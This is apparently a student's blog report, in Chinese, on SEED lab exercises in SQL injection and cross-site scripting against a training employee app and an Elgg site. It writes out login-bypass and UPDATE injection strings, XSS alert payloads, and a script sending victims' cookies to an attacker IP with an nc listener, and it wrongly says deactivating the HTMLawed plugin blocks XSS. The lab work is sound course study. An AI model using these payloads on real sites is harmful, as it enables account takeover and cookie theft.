20212810 2021-2022-2 《网络攻防实践》实践十报告

20212810 2021-2022-2 《网络攻防实践》实践十报告

Web应用程序安全攻防

一.实践内容

1、SEED SQL注入攻击与防御实验

我们已经创建了一个Web应用程序,并将其托管在www.SEEDLabSQLInjection.com。该Web应用程序是一个简单的员工管理应用程序。员工可以通过此Web应用程序查看和更新数据库中的个人信息。此Web应用程序主要有两个角色:管理员是特权角色,可以管理每个员工的个人资料信息。员工是一般角色,可以查看或更新自己的个人资料信息。完成以下任务:

  • 熟悉SQL语句: 我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。在此任务中,您需要使用数据库来熟悉SQL查询。

  • 对SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。

  • 对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。

  • SQL对抗:修复上述SQL注入攻击漏洞。

2、SEED XSS跨站脚本攻击实验(Elgg)

为了演示攻击者可以利用XSS漏洞做什么,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中,学生需要利用此漏洞对经过修改的Elgg发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫,这样,无论是谁查看的受感染用户个人资料都将被感染。

  • 发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。

  • 弹窗显示cookie信息:将cookie信息显示。

  • 窃取受害者的cookies:将cookie发送给攻击者。

  • 成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。

  • 修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。

  • 编写XSS蠕虫。

  • 对抗XSS攻击。

二.实践过程

环境配置

使用指令sudo service apache2 start启动Apache服务

web 应用:www.SEEDLabSQLInjection.com、www.xsslabelgg.com

实验一、SEED SQL注入攻击与防御实验

1.在终端登陆MySQL数据库,使用指令mysql -u root -pseedubuntu登陆:


使用指令use Users;和show tables; (注意不要少了分号)查看该数据库下面的表:

2.使用指令select * from credential;来打印所有员工的信息,在这里可以看到员工的姓名、工资以及hash之后的密码等信息:

打开上图显示的SQL Injection Site 网站,随意输入一个用户名或密码,F12查看表单提交情况,可以看到进行校验的是unsafe_home.php。

  • vim /var/www/SQLInjection/unsafe_home.php 打开unsafe_home.php文件,查看源代码。


    如下图,该web应用的数据库用户为root,密码为seedubuntu

进行登录认证时,区分admin用户及其他用户,用户信息表名为credential。

  • 用admin登录
    登录时正确的SQL查询语句为SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password FROM credential WHERE name= ’$input_uname’ and Password=’$hashed_pwd’

    但是如果在用户名输入Admin'#,就可以让SQL语句提前结束,而不进行密码校验,#可将密码校验的部分注释掉了。
    实践可以发现,成功进入系统,并可以查看到所有的用户信息。

  • 对update语句的攻击
    打开unsafe_edit_backend.php文件,执行vim /var/www/SQLInjection/unsafe_edit_backend.php
    在源代码中找到处理update语句的地方,可以发现员工只能修改自己的个人信息,而无法修改salary,所以我们可以修改员工的salary。

  • 由上一步攻击得知除Admin之外的用户还有Alice、Boby等,这里我们就用相同的方法登录Alice。登陆成功后,可以看到salary为20000,点击图中的edit profile修改信息。

  • 已知update时正确的处理语句为:
    UPDATE credential SET nickname='$input_nickname',email='$input_email',address='$input_address', Password='$hashed_pwd', PhoneNumber='$input_phonenumber' WHERE ID=$id

如果我们在nickname字段输入',salary='0' where Name='Alice';
则可以把update语句改为UPDATE credential SET nickname='',salary='30000' where Name='Alice';',后面的都由#注释掉了。(将Alice的工资从原来的20000改为了30000)

  • 发现Alice登录自己的账号,修改自己的salary成功,从20000变为了30000。

  • 同样,若Alice登录自己的账号,但是构造语句',salary='20000' where Name='Boby'; #则可以修改Boby的salary。(将Boby的salary从30000改为20000)如下图实践成功。

  • 对抗SQL注入
    SQL 注入漏洞的根本原因是没有将代码和数据区分开。当组建一个 SQL 语句时,程序知道哪个部分是代码哪个部分是数据。不幸的是当 SQL 语句送往数据库执行时,这个边界被打破,当程序被注入时,SQL 解释器看到的边界可能和最初的边界不一样。

实验二、SEED XSS跨站脚本攻击实验(Elgg)

1、发布恶意消息,显示警报窗口

  • 在Elgg user profile中嵌入JavaScript程序,因此当另一个用户查看你的个人资料(profile)时,JavaScript程序将会执行并且显示一个警告窗口。下面的JavaScript程序用于显示一个警告窗口:<script>alert('XSS');</script>
  • 首先用Alice账户密码登陆,打开并编辑个人页面(点击如下图左上角小标,再点击edit profiles)。

<script>alert('XSS');</script>填入Brief desription域中。

填完后,点击save会出现XSS弹窗。

使用另一个用户(Boby)登录并查看Alice的profile,也会会看到上图的警告窗口。

  • 在这种情况下,使用的JavaScript代码足够短,所以能够键入短的描述字段。如果我们想运行一段长的JavaScript代码,为了不受字段字符数量的限制,我们可以把JavaScript程序保存在.js文件内,然后在script标签内使用src属性进行引用。

2、弹窗显示cookie信息

  • 同样,在Alice的个人页面的Brief description中插入我们的XSS攻击代码<script> alert(document.cookie);</script>

  • Boby登录,more—>members—>Alice或者页面右边search处查找Alice,进入Alice个人页面,则出现如下弹框。事实上Alice的Brief description修改之后自己也会弹框。

3、获取受害主机的cookie

首先查看ip

在上面的2个任务中,攻击者编写的恶意JavaScript代码可以打印出用户的Cookie,但只有用户可以看到cookies,而不是攻击者。在这个任务中,攻击者希望JavaScript代码将cookie发送给自己。

为了实现这一点,恶意的JavaScript代码需要向攻击者发送一个HTTP请求,同时附加cookies到请求。我们可以通过使恶意的JavaScript插入一个标签,其src属性设置为攻击者的机器来实现。当JavaScript插入img标签时,浏览器尝试从src字段中的URL加载图片,这导致HTTP GET请求发送到攻击者的机器。

下面给出的JavaScript将cookies发送到攻击者机器的5555端口,若攻击者的TCP server侦听同一个端口,服务器则可打印出任何收到的内容。

  • 嵌入的Javascript代码:<script>document.write('<img src=http://192.168.200.65:5555?c=' + escape(document.cookie) + ' >');</script>
    其中192.168.200.65为攻击者ip,这里我直接使用的是seedubuntu。
  • 执行nc -l 5555 -v命令,监听5555端口。当用户访问Alice profile时,打印出当前用户的cookies。

    不知道为什么,失败了

4、获取受害主机的cookie

  • 加好友时,请求的地址是http://www.xsslabelgg.com/action/friends/add。请求地址的第一个参数是friend=,请求地址的第二个参数是&__elgg_ts=,请求地址的第三个参数是&__elgg_token=,也就是说我们要指明添加的好友,添加的时间并进行添加者的身份验证.

  • 可以编写出如下的代码,用于xss攻击自动添加好友。

  • 将上述代码放到Alice的edit profile的About me中

注意:About me中的代码要用edit HTML模式保存

  • 登录boby主页,可以看到boby加了Alice的好友

5、修改受害者信息

同样,在XSS攻击之前,我们首先要知道:在正常的情况下,修改简介应该发送什么样的指令。为此我们点击Edit profile,并同时使用HTTP Header Live查看发送的数据。可以得到请求的方式是POST,请求的地址是http://www.xsslabelgg.com/action/profile/edit,请求地址的第一个参数是&__elgg_token=,请求地址的第二个参数是&__elgg_ts=,请求地址的第三个参数是&__name=elgg.session.user.name。结合分析得到的信息,可以编写出如下的代码,用于xss攻击自动添加好友。
`

`

  • 将代码放到alice的about me中。登陆boby账号访问Alice的个人主页,返回主页时看到语句this had been changed by xss attack。

6、编写XSS蠕虫

  • 构建蠕虫攻击代码
    `

`

  • 跟之前的代码不同的核心在于使用innerHTML标签获取了worm当前块内的所有代码。

还是将代码放入Alice的about me处,切换账户让boby去访问Alice主页,可以截获如下信息。同时,蠕虫病毒已经侵染了Boby的主页。

  • 让admin访问boby的主页,admin就成为了二级感染者。

7、对抗XSS攻击

  • Elgg本身已经提供对抗XSS攻击的插件,我们利用管理员账户进行登录,找到Account->administration->plugins ,并且找到插件HTMLawed,点击active并使其Deactivate。这个插件的主要作用是对用户的输入输出进行校验并且去除特定标签。

  • 我们再回去看alice的profile,就可以看到这个时候XSS攻击已经没有效果了,Alice中的代码被当作about me显示出来了。

三.学习中遇到的问题及解决


实践二中,窃取受害者cookies,未能成功。

四.实践总结

这次实验二感觉有点复杂,有点没搞明白。

posted @ 2022-05-22 14:18  bzhuihui  阅读(59)  评论(0编辑  收藏  举报